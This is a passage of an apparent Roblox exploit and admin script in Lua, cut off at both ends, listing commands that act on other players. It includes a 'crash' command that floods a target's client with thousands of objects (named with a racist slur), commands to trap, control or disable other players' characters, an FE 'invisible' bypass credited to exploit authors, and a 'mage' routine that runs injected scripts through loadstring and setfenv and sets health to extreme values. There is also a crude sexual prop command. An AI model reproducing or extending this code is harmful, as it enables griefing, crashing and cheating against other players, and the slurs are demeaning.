Arm"].Transparency = 0.5 pchar["Left Leg"].Transparency = 0.5 pchar["Right Leg"].Transparency = 0.5 pchar.Head.face.Transparency = 0.5 end end) addcmd('unghost', 'unghostifys player',{'noghost'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=gPlayers[v].Character pchar.Head.Transparency = 0 pchar.Torso.Transparency = 0 pchar["Left Arm"].Transparency = 0 pchar["Right Arm"].Transparency = 0 pchar["Left Leg"].Transparency = 0 pchar["Right Leg"].Transparency = 0 pchar.Head.face.Transparency = 0 end end) addcmd('sphere', 'puts sphere around player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=gPlayers[v].Character local SS = Instance.new("SelectionSphere", pchar) SS.Adornee = SS.Parent end end) addcmd('sphere', 'puts sphere around player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=gPlayers[v].Character local SS = Instance.new("SelectionSphere", pchar) SS.Adornee = SS.Parent end end) addcmd('unsphere', 'removes sphere around player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) for i,v in pairs(gPlayers[v].Character:GetChildren()) do if v:IsA("SelectionSphere") then v:Destroy() end end end end) addcmd('ambient','changes ambient',{}, function(args, speaker) LightingService.Ambient = Color3.new(args[1],args[2],args[3]) LightingService.OutdoorAmbient = Color3.new(args[1],args[2],args[3]) end) addcmd('fogend','changes the fogend',{}, function(args, speaker) LightingService.FogEnd = args[1] end) addcmd('fogcolor','changes the fogs color',{}, function(args, speaker) LightingService.FogColor = Color3.new(args[1],args[2],args[3]) end) injail = {} addcmd('jail','jails player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() if FindTable(injail, _players[v].Name) then return end table.insert(injail, _players[v].Name) local pchar=gPlayers[v].Character local J = DATA.JAIL:Clone() J.Parent = workspace J:MoveTo(pchar.HumanoidRootPart.Position) J.Name = 'JAIL_' .. _players[v].Name repeat wait(0.5) pchar = _players[v].Character if pchar and pchar:FindFirstChild('HumanoidRootPart') and J:FindFirstChild('MAIN') then pchar.HumanoidRootPart.CFrame = J.MAIN.CFrame + Vector3.new(0, 1, 0) end until not FindTable(injail, _players[v].Name) end) end end) addcmd('unjail','unjails player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() for a,b in pairs(injail) do if b == _players[v].Name then table.remove(injail, a) end end workspace["JAIL_" .. _players[v].Name]:Destroy() end) end end) loopn = {} addcmd('loopname','loops a players name',{'lname'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() if FindTable(loopn, _players[v].Name) then return end table.insert(loopn, _players[v].Name) local Lname = GLS(false, 1) local pchar=gPlayers[v].Character pchar.Name = Lname if FindTable(SPC, args[1]) then Notify('Looping name for ' .. args[1] .. ' (only visible to others)') else Notify('Looping name for player(s) (only visible to others)') end repeat wait(0.01) repeat wait() until _players[v].Character gPlayers[v].Character.Name = Lname until not FindTable(loopn, _players[v].Name) end) end end) addcmd('unloopname','unjails player',{'noloopname','unlname','nolname'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local pchar=gPlayers[v].Character for a,b in pairs(loopn) do if b == _players[v].Name then table.remove(loopn, a) end end wait(0.5) if FindTable(SPC, args[1]) then Notify('Stopped looping name for ' .. args[1]) else Notify('Stopped looping name for player(s)') end pchar.Name = gPlayers[v].Name end) end end) addcmd('loopbring','loop brings a player lol',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() if FindTable(bringT, _players[v].Name) then return end table.insert(bringT, _players[v].Name) local pchar=gPlayers[v].Character repeat wait(0.5) pchar = _players[v].Character for i,c in pairs(players) do if pchar~= nil and pchar:FindFirstChild("HumanoidRootPart") then pchar.HumanoidRootPart.CFrame = speaker.Character.HumanoidRootPart.CFrame + Vector3.new(4,1,0) end end until not FindTable(bringT, _players[v].Name) end) end end) addcmd('feinvisible','fe invisible',{}, function(args, speaker) -- Elite1337#9377 & Timeless#4044 Local = game:GetService('Players').LocalPlayer Char = Local.Character touched,tpdback = false, false Local.CharacterAdded:connect(function(char) if script.Disabled ~= true then wait(.25) loc = Char.HumanoidRootPart.Position Char:MoveTo(box.Position + Vector3.new(0,.5,0)) end end) game:GetService('UserInputService').InputBegan:connect(function(key) if key.KeyCode == Enum.KeyCode.Equals then if script.Disabled ~= true then script.Disabled = true print'you may re-execute' end end end) box = Instance.new('Part',workspace) box.Anchored = true box.CanCollide = true box.Size = Vector3.new(10,1,10) box.Position = Vector3.new(0,10000,0) box.Touched:connect(function(part) if (part.Parent.Name == Local.Name) then if touched == false then touched = true function apply() if script.Disabled ~= true then no = Char.HumanoidRootPart:Clone() wait(.25) Char.HumanoidRootPart:Destroy() no.Parent = Char Char:MoveTo(loc) touched = false end end if Char then apply() end end end end) repeat wait() until Char loc = Char.HumanoidRootPart.Position Char:MoveTo(box.Position + Vector3.new(0,.5,0)) end) addcmd('unloopbring','unjails player',{'noloopbring'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() for a,b in pairs(bringT) do if b == _players[v].Name then table.remove(bringT, a) end end end) end end) strobe = false addcmd('strobe','makes the server flash',{'flash'}, function(args, speaker) if strobe == false then strobep = Instance.new("ColorCorrectionEffect") strobep.Brightness = 1 strobep.Parent = LightingService strobe = true repeat wait(0.01) strobep.Enabled = true wait(0.01) strobep.Enabled = false until strobe == false end end) addcmd('unstrobe','makes the server flash',{'noflash','nostrobe','unflash','unstrobe'}, function(args, speaker) strobe = false strobep:Destroy() end) addcmd('shutdown', 'shuts the server down',{}, function(args, speaker) Notify('Shutting Down...') wait(1) workspace.Gravity = 1/0*0 end) addcmd('animation','makes player animate',{'anim'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character local ID = args[2] if args[2] == "climb" then ID = "180436334" end if args[2] == "fall" then ID = "180436148" end if args[2] == "jump" then ID = "125750702" end if args[2] == "sit" then ID = "178130996" end for _,x in pairs(gPlayers[v].Character.Animate:GetChildren()) do if x:IsA("StringValue") then for _,c in pairs(x:GetChildren()) do if c:IsA("Animation") then c.AnimationId = "rbxassetid://" .. ID end end end end end end) addcmd('creeper','make the player a creeper',{'crpr'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character if gPlayers[v] and pchar and pchar:findFirstChild("Torso") then if pchar:FindFirstChild("Shirt") then pchar.Shirt.Parent = pchar.Torso end if pchar:FindFirstChild("Pants") then pchar.Pants.Parent = pchar.Torso end if pchar:FindFirstChild("Shirt Graphic") then pchar["Shirt Graphic"].Graphic = "" end for i,v in pairs(pchar:GetChildren()) do if v:IsA("Accessory") then v:Destroy() end end pchar.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) pchar.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0) pchar.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0) pchar.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0) pchar.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0) pchar["Body Colors"].HeadColor = BrickColor.new("Bright green") pchar["Body Colors"].LeftArmColor = BrickColor.new("Bright green") pchar["Body Colors"].LeftLegColor = BrickColor.new("Bright green") pchar["Body Colors"].RightArmColor = BrickColor.new("Bright green") pchar["Body Colors"].RightLegColor = BrickColor.new("Bright green") pchar["Body Colors"].TorsoColor = BrickColor.new("Bright green") end end end) addcmd('uncreeper','makes player back to normal',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do refresh(gPlayers[v]) end end) addcmd('crash','crashes a player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if FindTable(WL, gPlayers[v].Name) then Notify('Error: '..gPlayers[v].Name..' is whitelisted') else if FindTable(SPC, args[1]) then Notify('Crashed ' .. args[1]) else Notify('Crashed player(s)') end wait(4) if gPlayers[v] ~= nil then for i=1,3600 do Instance.new("HopperBin",gPlayers[v].Backpack).Name = "nig" end wait() for i=1,3600 do Instance.new("HopperBin",gPlayers[v].Backpack).Name = "nog" end wait() end end end end) addcmd('shrek', 'makes player shrek',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do local pchar = gPlayers[v].Character for i,v in pairs(pchar:GetChildren()) do if v:IsA("Accessory") or v:IsA("CharacterMesh") or v:IsA("Shirt") or v:IsA("Pants") then v:Destroy() end end for i,v in pairs(pchar.Head:GetChildren()) do if v:IsA("Decal") or v:IsA("SpecialMesh") then v:Destroy() end end local mesh = Instance.new("SpecialMesh", pchar.Head) mesh.MeshType = "FileMesh" pchar.Head.Mesh.MeshId = "http://www.roblox.com/asset/?id=19999257" pchar.Head.Mesh.Offset = Vector3.new(-0.1, 0.1, 0) pchar.Head.Mesh.TextureId = "http://www.roblox.com/asset/?id=156397869" local Shirt = Instance.new("Shirt", gPlayers[v].Character) local Pants = Instance.new("Pants", gPlayers[v].Character) Shirt.ShirtTemplate = "rbxassetid://133078194" Pants.PantsTemplate = "rbxassetid://133078204" end end) addcmd('unshrek','makes player back to normal',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do refresh(gPlayers[v]) end end) addcmd('oof','good things happen',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() if gPlayers[v].Character.Head:FindFirstChild("Died") then gPlayers[v].Character.Head.Died.Looped = true wait(0.1) gPlayers[v].Character.Head.Died.Playing = true gPlayers[v].Character.Head.Died.Volume = 10 gPlayers[v].Character.Head.Died.Pitch = 0.5 end execCmd("size " .. gPlayers[v].Name .. ' -1') execCmd("hheight " .. gPlayers[v].Name .. ' 1000000000') wait(5) execCmd("explode " .. gPlayers[v].Name) wait(0.1) gPlayers[v].Character.Humanoid.Health = 0 end) end end) addcmd('control','controls player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local pchar = gPlayers[v].Character if gPlayers[v] and pchar then execCmd("invisible " .. speaker.Name) pchar.Humanoid.PlatformStand = true local w = Instance.new("Weld", speaker.Character.Torso) w.Part0 = speaker.Character.Torso w.Part1 = pchar.Torso local w2 = Instance.new("Weld", speaker.Character.Head) w2.Part0 = speaker.Character.Head w2.Part1 = pchar.Head local w3 = Instance.new("Weld", speaker.Character:findFirstChild("Right Arm")) w3.Part0 = speaker.Character:findFirstChild("Right Arm") w3.Part1 = pchar:findFirstChild("Right Arm") local w4 = Instance.new("Weld", speaker.Character:findFirstChild("Left Arm")) w4.Part0 = speaker.Character:findFirstChild("Left Arm") w4.Part1 = pchar:findFirstChild("Left Arm") local w5 = Instance.new("Weld", speaker.Character:findFirstChild("Right Leg")) w5.Part0 = speaker.Character:findFirstChild("Right Leg") w5.Part1 = pchar:findFirstChild("Right Leg") local w6 = Instance.new("Weld", speaker.Character:findFirstChild("Left Leg")) w6.Part0 = speaker.Character:findFirstChild("Left Leg") w6.Part1 = pchar:findFirstChild("Left Leg") char.Head.face:Destroy() for i,v in pairs(pchar:GetChildren()) do if v:IsA("BasePart") then v.CanCollide = false end end for i,v in pairs(char:GetChildren()) do if v:IsA("BasePart") then v.Transparency = 1 elseif v:IsA("Accessory") then v:Destroy() end end pchar.Parent = char pchar.Humanoid.Changed:connect(function() pchar.Humanoid.PlatformStand = true end) end end) end end) addcmd('nuke','nukes player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character if gPlayers[v] and pchar and pchar:FindFirstChild("HumanoidRootPart") then local nuke = Instance.new("Part", workspace) nuke.Anchored = true nuke.CanCollide = false nuke.FormFactor = "Symmetric" nuke.Shape = "Ball" nuke.Size = Vector3.new(1,1,1) nuke.BrickColor = BrickColor.new("New Yeller") nuke.Transparency = 0.5 nuke.Reflectance = 0.2 nuke.TopSurface = 0 nuke.BottomSurface = 0 nuke.Touched:connect(function (hit) if hit and hit.Parent then local boom = Instance.new("Explosion", workspace) boom.Position = hit.Position boom.BlastRadius = 11 boom.BlastPressure = math.huge end end) local CF = pchar.HumanoidRootPart.CFrame nuke.CFrame = CF for i = 1,333 do nuke.Size = nuke.Size + Vector3.new(3,3,3) nuke.CFrame = CF wait(1/44) end nuke:Destroy() end end end) addcmd('dong','gives a player a penis',{'penis'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() if gPlayers[v].Character:FindFirstChild('wang') then gPlayers[v].Character.wang:destroy() end local D = Instance.new('Model', gPlayers[v].Character) D.Name = 'DONG' local BG = Instance.new('BodyGyro', gPlayers[v].Character.Torso) local MAIN = Instance.new('Part', gPlayers[v].Character['DONG']) local M1 = Instance.new('CylinderMesh', MAIN) local W1 = Instance.new('Weld', gPlayers[v].Character.Head) local P1 = Instance.new('Part', gPlayers[v].Character['DONG']) local M2 = Instance.new('SpecialMesh', P1) local W2 = Instance.new('Weld', P1) local B1 = Instance.new('Part', gPlayers[v].Character['DONG']) local M3 = Instance.new('SpecialMesh', B1) local W3 = Instance.new('Weld', B1) local B2 = Instance.new('Part', gPlayers[v].Character['DONG']) local M4 = Instance.new('SpecialMesh', B2) local W4 = Instance.new('Weld', B2) MAIN.TopSurface = 0 MAIN.BottomSurface = 0 MAIN.Name = 'Main' MAIN.Size = Vector3.new(0.6, 2.5, 0.6) MAIN.BrickColor = BrickColor.new('Pastel brown') MAIN.Position = gPlayers[v].Character.Head.Position MAIN.CanCollide = false W1.Part0 = MAIN W1.Part1 = gPlayers[v].Character.Head W1.C0 = CFrame.new(0, 0.25, 2.1) * CFrame.Angles(math.rad(45), 0, 0) P1.Name = 'Mush' P1.BottomSurface = 0 P1.TopSurface = 0 P1.Size = Vector3.new(0.6, 0.6, 0.6) P1.CFrame = CFrame.new(MAIN.Position) P1.BrickColor = BrickColor.new('Pink') P1.CanCollide = false M2.MeshType = 'Sphere' W2.Part0 = MAIN W2.Part1 = P1 W2.C0 = CFrame.new(0, 1.3, 0) B1.Name = 'Left Ball' B1.BottomSurface = 0 B1.TopSurface = 0 B1.CanCollide = false B1.Size = Vector3.new(1, 1, 1) B1.CFrame = CFrame.new(gPlayers[v].Character['Left Leg'].Position) B1.BrickColor = BrickColor.new('Pastel brown') M3.Parent = B1 M3.MeshType = 'Sphere' W3.Part0 = gPlayers[v].Character['Left Leg'] W3.Part1 = B1 W3.C0 = CFrame.new(0, 0.5, -0.5) B2.Name = 'Right Ball' B2.BottomSurface = 0 B2.CanCollide = false B2.TopSurface = 0 B2.Size = Vector3.new(1, 1, 1) B2.CFrame = CFrame.new(gPlayers[v].Character['Right Leg'].Position) B2.BrickColor = BrickColor.new('Pastel brown') M4.MeshType = 'Sphere' W4.Part0 = gPlayers[v].Character['Right Leg'] W4.Part1 = B2 W4.C0 = CFrame.new(0, 0.5, -0.5) end) end end) addcmd('undong','gives a player a penis',{'unpenis','nopenis','nodong'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if gPlayers[v].Character:FindFirstChild('DONG') then gPlayers[v].Character.DONG:destroy() end end end) addcmd('infect','infects player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do function infect(rip) local pchar = gPlayers[v].Character for i,v in pairs(pchar:GetChildren()) do if v:IsA("Accessory") or v:IsA("Shirt") or v:IsA("Pants") then v:Destroy() end end if pchar.Torso:FindFirstChild("roblox") then pchar.Torso.roblox:Destroy() end if pchar.Head:FindFirstChild("face") then pchar.Head.face.Texture = "http://www.roblox.com/asset/?id=94634491" end if pchar:FindFirstChild("Body Colors") then local Colors = pchar["Body Colors"] local Skin = BrickColor.new("Pastel green") local Clothes = BrickColor.new("Reddish brown") Colors.HeadColor = Skin Colors.LeftArmColor = Skin Colors.RightArmColor = Skin Colors.LeftLegColor = Clothes Colors.RightLegColor = Clothes Colors.TorsoColor = Clothes end local w1 = Instance.new("Weld", pchar) w1.Part0 = pchar["Right Arm"] w1.Part1 = pchar.Torso w1.C0 = CFrame.new(-1.5, 0.5, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(0), math.rad(0)) local w2 = Instance.new("Weld", pchar) w2.Part0 = pchar["Left Arm"] w2.Part1 = pchar.Torso w2.C0 = CFrame.new(1.5, 0.5, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(0), math.rad(0)) local rip = false local connect1 = pchar["Left Arm"].Touched:connect(function(hit) if connect1 == false then connect1 = true if gPlayers:FindFirstChild(hit.Parent.Name) then infect(gPlayers[hit.Parent.Name]) end wait(0.5) connect1 = true end end) local connect2 = pchar["Right Arm"].Touched:connect(function(hit) if connect2 == false then connect2 = true if gPlayers:FindFirstChild(hit.Parent.Name) then infect(gPlayers[hit.Parent.Name]) end wait(0.5) connect2 = true end end) local IV = Instance.new("IntValue", pchar) IV.Name = "Infected" IV.Value = 0 IV.Changed:connect(function() connect1:disconnect() connect2:disconnect() end) end infect(v) end end) addcmd('uninfect','makes player back to normal',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do refresh(gPlayers[v]) end end) addcmd('duck','makes players head a duck',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character for i,v in pairs(pchar.Torso:GetChildren()) do if v:IsA("Decal") then v:Destroy() end end for i,v in pairs(pchar:GetChildren()) do if v:IsA("Accessory") then v:Destroy() end end local duck = Instance.new("SpecialMesh", pchar.Torso) duck.MeshType = "FileMesh" duck.MeshId = "http://www.roblox.com/asset/?id=9419831" duck.TextureId = "http://www.roblox.com/asset/?id=9419827" duck.Scale = Vector3.new(5, 5, 5) pchar.Head.Transparency = 1 pchar["Left Arm"].Transparency = 1 pchar["Right Arm"].Transparency = 1 pchar["Left Leg"].Transparency = 1 pchar["Right Leg"].Transparency = 1 pchar.Head.face.Transparency = 1 end end) addcmd('mage', 'mage',{}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else if not LP.PlayerGui:FindFirstChild('ChangeArc') then local arcPackage = game:GetObjects("rbxassetid://01337781430")[1] local fakeLighting = arcPackage.Lighting local oldgame = game local oldlighting = oldgame:GetService("Lighting") local proLighting = newproxy(true) local mtL = getmetatable(proLighting) mtL.__index = function(self,ind) if fakeLighting:FindFirstChild(ind) then return fakeLighting[ind] end return oldlighting[ind] end mtL.__newindex = function(self,ind,val) oldlighting[ind] = val end mtL.__namecall = function(self,...) local args = {...} local method = table.remove(args) return oldlighting(method,unpack(args)) end local proGame = newproxy(true) local mt = getmetatable(proGame) mt.__index = function(self,ind) if ind == "Lighting" then return proLighting end return oldgame[ind] end mt.__namecall = function(self,...) local args = {...} local method = table.remove(args) if method:lower() == "getservice" and args[1] == "Lighting" then return fakeLighting end return oldgame(method,unpack(args)) end wait() local destructAnchored = false local maxMass = 1000 function newCESS(scr) local newFunc = loadstring(scr.Source) if type(newFunc) ~= "function" then return end setfenv(newFunc,setmetatable({script = scr},{ __index = function(self,ind) if ind == "game" then return proGame end return getfenv()[ind] end, __newindex = function(self,ind,val) rawset(self,ind,val) end })) pcall(function()spawn(newFunc)end) end game.Players.LocalPlayer.Character.Humanoid.MaxHealth = 999999999 game.Players.LocalPlayer.Character.Humanoid.Health = 999999999 function destroyHook(obj,replacement,par) obj:GetPropertyChangedSignal("Parent"):Connect(function() local newObj = replacement:Clone() if newObj:IsA("ScreenGui") then newObj.ResetOnSpawn = false end newObj.Parent = par destroyHook(newObj,replacement,par) end) end for i,v in pairs(arcPackage.PlayerGui:GetChildren()) do local newObj = v:Clone() if newObj:IsA("ScreenGui") then newObj.ResetOnSpawn = false end newObj.Parent = game.Players.LocalPlayer.PlayerGui destroyHook(newObj,v,game.Players.LocalPlayer.PlayerGui) end function replaceScripts(root) for i,v in pairs(root:GetChildren()) do if v:IsA("Script") and not v:IsA("LocalScript") then local tempStore = {} for i2,v2 in pairs(v:GetChildren()) do table.insert(tempStore,v2:Clone()) end local newScript = Instance.new("LocalScript",v.Parent) newScript.Name = v.Name for i2,v2 in pairs(tempStore) do v2.Parent = newScript end v:Destroy() end replaceScripts(v) end end local player = game.Players.LocalPlayer if not game.Players.LocalPlayer:FindFirstChild("leaderstats1") then game.Players.LocalPlayer.PlayerGui.leaderstats1.Parent = game.Players.LocalPlayer end if not game.ReplicatedStorage:FindFirstChild("RankScript") then game.Players.LocalPlayer.PlayerGui.RankScript.Parent = game.ReplicatedStorage end if not game.ReplicatedStorage:FindFirstChild(game.Players.LocalPlayer.Name.."Element") then local eTemplate = game.Players.LocalPlayer.PlayerGui.Player1Element eTemplate.Name = game.Players.LocalPlayer.Name.."Element" eTemplate.Parent = game.ReplicatedStorage end if not game.ReplicatedStorage:FindFirstChild(game.Players.LocalPlayer.Name.."FakeName") then local fTemplate = game.Players.LocalPlayer.PlayerGui.Player1FakeName fTemplate.Name = game.Players.LocalPlayer.Name.."FakeName" fTemplate.Parent = game.ReplicatedStorage end if not game.ReplicatedStorage:FindFirstChild(game.Players.LocalPlayer.Name.."Level") then local lTemplate = game.Players.LocalPlayer.PlayerGui.Player1Level lTemplate.Name = game.Players.LocalPlayer.Name.."Level" lTemplate.Parent = game.ReplicatedStorage end if not game.ReplicatedStorage:FindFirstChild(game.Players.LocalPlayer.Name.."Membership") then local mTemplate = game.Players.LocalPlayer.PlayerGui.Player1Membership mTemplate.Name = game.Players.LocalPlayer.Name.."Membership" mTemplate.Parent = game.ReplicatedStorage end function getMyPlayerArea() for i,v in pairs(game.Workspace.BuildingAreas:GetChildren()) do if v.Player.Value == player.Name then return v.PlayerArea end end end local whitelistedParts = { ["DamagePart"] = true, ["Explosion"] = true, ["Explosion2"] = true, ["SuperExplosion"] = true, } workspace.DescendantAdded:connect(function(desc) if desc:IsA("Script") and desc:IsDescendantOf(game.Players.LocalPlayer.Character) then newCESS(desc) elseif whitelistedParts[desc.Parent.Name] and desc:IsA("Script") then newCESS(desc) elseif desc:IsA("BodyGyro") then desc:GetPropertyChangedSignal("MaxTorque"):Connect(function() desc.MaxTorque = Vector3.new(100000,100000,100000) end) --elseif desc:IsA("BodyPosition") then -- desc:GetPropertyChangedSignal("MaxForce"):Connect(function() -- desc.MaxForce = Vector3.new(10000,10000,10000) -- end) end end) player.Character.Humanoid.MaxHealth = (100+(player.leaderstats1.Level.Value*25)) player.Character.Humanoid.Health = player.Character.Humanoid.MaxHealth player.PlayerGui.HealthGui.MaxMana.Value = (150+(player.leaderstats1.Level.Value*25)) player.PlayerGui.HealthGui.MaxXP.Value = (player.leaderstats1.Level.Value*50) player.PlayerGui.HealthGui.Mana.Value = player.PlayerGui.HealthGui.MaxMana.Value wait(1) local player = game.Players.LocalPlayer local arcList = player.PlayerGui.ChangeArc.Stuff.ScrollingFrame local arcTemplate = player.PlayerGui.ChangeArc.Stuff.ChangeTemplate local arcToggler = player.PlayerGui.ChangeArc.ArcToggler.Toggle local arcMoves = player.PlayerGui.ChangeArc.ArcMoves local arcMovesList = arcMoves.ScrollingFrame local moveTemplate = player.PlayerGui.ChangeArc.MoveTemplate local arcs = {} local currentArc = "" function getMove(root) for i,v in pairs(root:GetChildren()) do if v.Name ~= "Requirement" then return v end end return nil end for i,v in pairs(fakeLighting.SkillFrames:GetChildren()) do table.insert(arcs,v) end for i,v in pairs(fakeLighting.Customs:GetChildren()) do table.insert(arcs,v) end for i,v in pairs(arcs) do local newTemplate = arcTemplate:Clone() newTemplate.ArcName.Text = v.Name newTemplate.Change.MouseButton1Down:connect(function() currentArc = v.Name arcToggler.Parent.Visible = true if fakeLighting.SkillFrames:FindFirstChild(currentArc) then arcMovesList:ClearAllChildren() arcToggler.Text = currentArc arcMoves.Title.Text = currentArc .. " Arc" for i5,v5 in pairs(fakeLighting.SkillFrames:FindFirstChild(currentArc).Stuff.ScrollingFrame:GetChildren()) do local myMove = getMove(v5.Learn) if myMove ~= nil then local newTemplate = moveTemplate:Clone() newTemplate.Attack.Text = v5.Name newTemplate.Position = UDim2.new(0,0,0,#arcMovesList:GetChildren()*47+5) newTemplate.Parent = arcMovesList arcMovesList.CanvasSize = UDim2.new(0,0,0,#arcMovesList:GetChildren()*47+5) newTemplate.Learn.MouseButton1Down:connect(function() local learnMove = myMove:Clone() learnMove.Parent = player.Backpack if learnMove:IsA("LocalScript") then learnMove.Disabled = false newTemplate.Learn.Text = "Activated" newCESS(learnMove) else newTemplate.Learn.Text = "Learned" newCESS(learnMove.LocalScript) end wait(5) newTemplate.Learn.Text = "Learn" end) newTemplate.Visible = true end end end if fakeLighting.Customs:FindFirstChild(currentArc) then arcMovesList:ClearAllChildren() arcToggler.Text = currentArc arcMoves.Title.Text = currentArc .. " Arc" for i,v in pairs(fakeLighting.Customs:FindFirstChild(currentArc).Stuff.ScrollingFrame:GetChildren()) do local myMove = getMove(v.Learn) if myMove ~= nil then local newTemplate = moveTemplate:Clone() newTemplate.Attack.Text = v.Name newTemplate.Position = UDim2.new(0,0,0,#arcMovesList:GetChildren()*47+5) newTemplate.Parent = arcMovesList arcMovesList.CanvasSize = UDim2.new(0,0,0,#arcMovesList:GetChildren()*47+5) newTemplate.Learn.MouseButton1Down:connect(function() local learnMove = myMove:Clone() learnMove.Parent = player.Backpack if learnMove:IsA("LocalScript") then learnMove.Disabled = false newTemplate.Learn.Text = "Activated" newCESS(learnMove) else newTemplate.Learn.Text = "Learned" newCESS(learnMove.LocalScript) end wait(5) newTemplate.Learn.Text = "Learn" end) newTemplate.Visible = true end end end end) newTemplate.Position = UDim2.new(0,0,0,#arcList:GetChildren()*47+5) newTemplate.Visible = true newTemplate.Parent = arcList arcList.CanvasSize = UDim2.new(0,0,0,#arcList:GetChildren()*47+5) end Open = false MouseClick = function() if Open == false then Open = true player.PlayerGui.ChangeArc.Stuff.Visible = true else if Open == true then Open = false player.PlayerGui.ChangeArc.Stuff.Visible = false end end end player.PlayerGui.ChangeArc.Frame.Toggle.MouseButton1Down:connect(MouseClick) Open2 = false MouseClick2 = function() if Open2 == false then Open2 = true arcMoves.Visible = true else if Open2 == true then Open2 = false arcMoves.Visible = false end end end arcToggler.MouseButton1Down:connect(MouseClick2) newCESS(player.PlayerGui.ArcMusicPlayer["Music Player Module"]) for i,v in pairs(player.PlayerGui.HealthGui:GetDescendants()) do if v:IsA("Script") then newCESS(v) end end end end end) addcmd('unduck','makes player back to normal',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do refresh(gPlayers[v]) end end) addcmd('mesh','makes a player into a mesh',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character for i,v in pairs(pchar.Torso:GetChildren()) do if v:IsA("Decal") then v:Destroy() end end for i,v in pairs(pchar:GetChildren()) do if v:IsA("Accessory") then v:Destroy() end end pchar.Head.Transparency = 1 pchar["Left Arm"].Transparency = 1 pchar["Right Arm"].Transparency = 1 pchar["Left Leg"].Transparency = 1 pchar["Right Leg"].Transparency = 1 pchar.Head.face.Transparency = 1 local msh = Instance.new("SpecialMesh", pchar.Torso) msh.MeshType = "FileMesh" msh.Scale = Vector3.new(3, 3, 3) msh.MeshId = "http://www.roblox.com/asset/?id=" ..args[2] msh.TextureId = "http://www.roblox.com/asset/?id=" .. args[3] msh.Scale = Vector3.new(3, 3, 3) end end) addcmd('disable','removes players humanoid',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character if pchar:FindFirstChild("Humanoid") then pchar.Humanoid.Name = "HUMANOID_" .. gPlayers[v].Name local humanoid = pchar["HUMANOID_" .. gPlayers[v].Name] humanoid.Parent = game.ContextActionService if FindTable(SPC, args[1]) then Notify('Disabled ' .. args[1]) else Notify('Disabled player(s)') end end end end) addcmd('enable','gives player humanoid',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character if pchar:FindFirstChild("Humanoid") then return else local humanoid = game.ContextActionService["HUMANOID_" .. gPlayers[v].Name] humanoid.Parent = pchar humanoid.Name = "Humanoid" if FindTable(SPC, args[1]) then Notify('Enabled ' .. args[1]) else Notify('Enabled player(s)') end end end end) addcmd('size','changes size of player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character local function scale(chr,scl) for _,v in pairs(pchar:GetChildren()) do if v:IsA("Accessory") then v:Clone() v.Parent = LightingService end end local Head = chr['Head'] local Torso = chr['Torso'] local LA = chr['Left Arm'] local RA = chr['Right Arm'] local LL = chr['Left Leg'] local RL = chr['Right Leg'] local HRP = chr['HumanoidRootPart'] wait(0.1) Head.formFactor = 3 Torso.formFactor = 3 LA.formFactor = 3 RA.formFactor = 3 LL.formFactor = 3 RL.formFactor = 3 HRP.formFactor = 3 Head.Size = Vector3.new(scl * 2, scl, scl) Torso.Size = Vector3.new(scl * 2, scl * 2, scl) LA.Size = Vector3.new(scl, scl * 2, scl) RA.Size = Vector3.new(scl, scl * 2, scl) LL.Size = Vector3.new(scl, scl * 2, scl) RL.Size = Vector3.new(scl, scl * 2, scl) HRP.Size = Vector3.new(scl * 2, scl * 2, scl) local Motor1 = Instance.new('Motor6D', Torso) Motor1.Part0 = Torso Motor1.Part1 = Head Motor1.C0 = CFrame.new(0, 1 * scl, 0) * CFrame.Angles(-1.6, 0, 3.1) Motor1.C1 = 